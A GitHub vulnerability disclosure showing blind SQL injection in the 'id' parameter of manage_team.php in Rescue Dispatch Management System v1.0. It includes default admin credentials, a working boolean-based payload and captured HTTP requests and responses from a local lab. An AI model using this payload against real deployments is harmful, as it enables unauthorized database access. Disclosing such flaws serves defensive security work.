⑂ main ▾   ⋯

bug_report / vendors / oretnom23 / rescue-dispatch-management-system / **SQLi-8.md**

debug601 Create SQLi-8.md   ⟲ History

⣿ **1 contributor**

35 lines (24 sloc) | 1.49 KB   ⋯

Rescue Dispatch Management System v1.0 by oretnom23 has SQL injection

The password for the backend login account is: admin/admin123

vendors: https://www.sourcecodester.com/php/15296/rescue-dispatch-management-system-phpoop-free-source-code.html

Vulnerability File: /rdms/admin/teams/manage_team.php?id=

Vulnerability location: /rdms/admin/teams/manage_team.php?id=,id

[+] Payload: /rdms/admin/teams/manage_team.php?id=1%27%20and%20length(database())%20=7--+ // Leak place ---> id

Current database name: rdms_db,length is 7

```
GET /rdms/admin/teams/manage_team.php?id=1%27%20and%20length(database())%20=7--+ HTT
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
```

When length (database ()) = 6, Content-Length: 2895

```
Raw  Params  Headers  Hex
GET
/rdms/admin/teams/manage_team.php?id=1%27%20and%20length(database
())%20=6--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0)
Gecko/20100101 Firefox/46.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=hkbchcmaitn0d8enhm4jtdjk9q
Connection: close
```

```
Raw  Headers  Hex  HTML  Render
HTTP/1.1 200 OK
Date: Thu, 26 May 2022 09:37:55 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 2895
Connection: close
Content-Type: text/html; charset=UTF-8

<div class="container-fluid">
        <form action="" id="team-form">
```

INT   ⊟ ⊕   SQL BASICS▾ UNION BASED▾ ERROR/DOUBLE QUERY▾ TOOLS▾ WAF BYPASS▾ ENCODING▾ HTML

Load URL   192.168.1.19/rdms/admin/teams/manage_team.php?id=1' and length(database()) =6--+

Split URL

Execute

☐ Post data   ☐ Referrer   ◄ 0xHEX ►   ◄ %URL ►   ◄ BASE64 ►   Insert string to

Responder Type [▾]
Code [   ]
Team Leader [   ]
Status [Active ▾]

When length (database ()) = 7, Content-Length: 2921

```
GET
/rdms/admin/teams/manage_team.php?id=1%27%20and%20length(database
())%20=7--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0)
Gecko/20100101 Firefox/46.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=hkbchcmaitn0d8enhm4jtdjk9q
Connection: close
```

```
HTTP/1.1 200 OK
Date: Thu, 26 May 2022 09:37:03 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 2921
Connection: close
Content-Type: text/html; charset=UTF-8

<div class="container-fluid">
        <form action="" id="team-form">
            <input type="hidden" name="id" value="1">
            <div class="form-group">
```

INT   ⊟ ⊕   SQL BASICS▾ UNION BASED▾ ERROR/DOUBLE QUERY▾ TOOLS▾ WAF BYPASS▾ ENCODING▾

Load URL   192.168.1.19/rdms/admin/teams/manage_team.php?id=1' and length(database()) =7--+

Split URL

Execute

☐ Post data   ☐ Referrer   ◄ 0xHEX ►   ◄ %URL ►   ◄ BASE64 ►   Insert stri

Responder Type [Ambulance ▾]
Code [1001]
Team Leader [Mark Williams]
Status [Active ▾]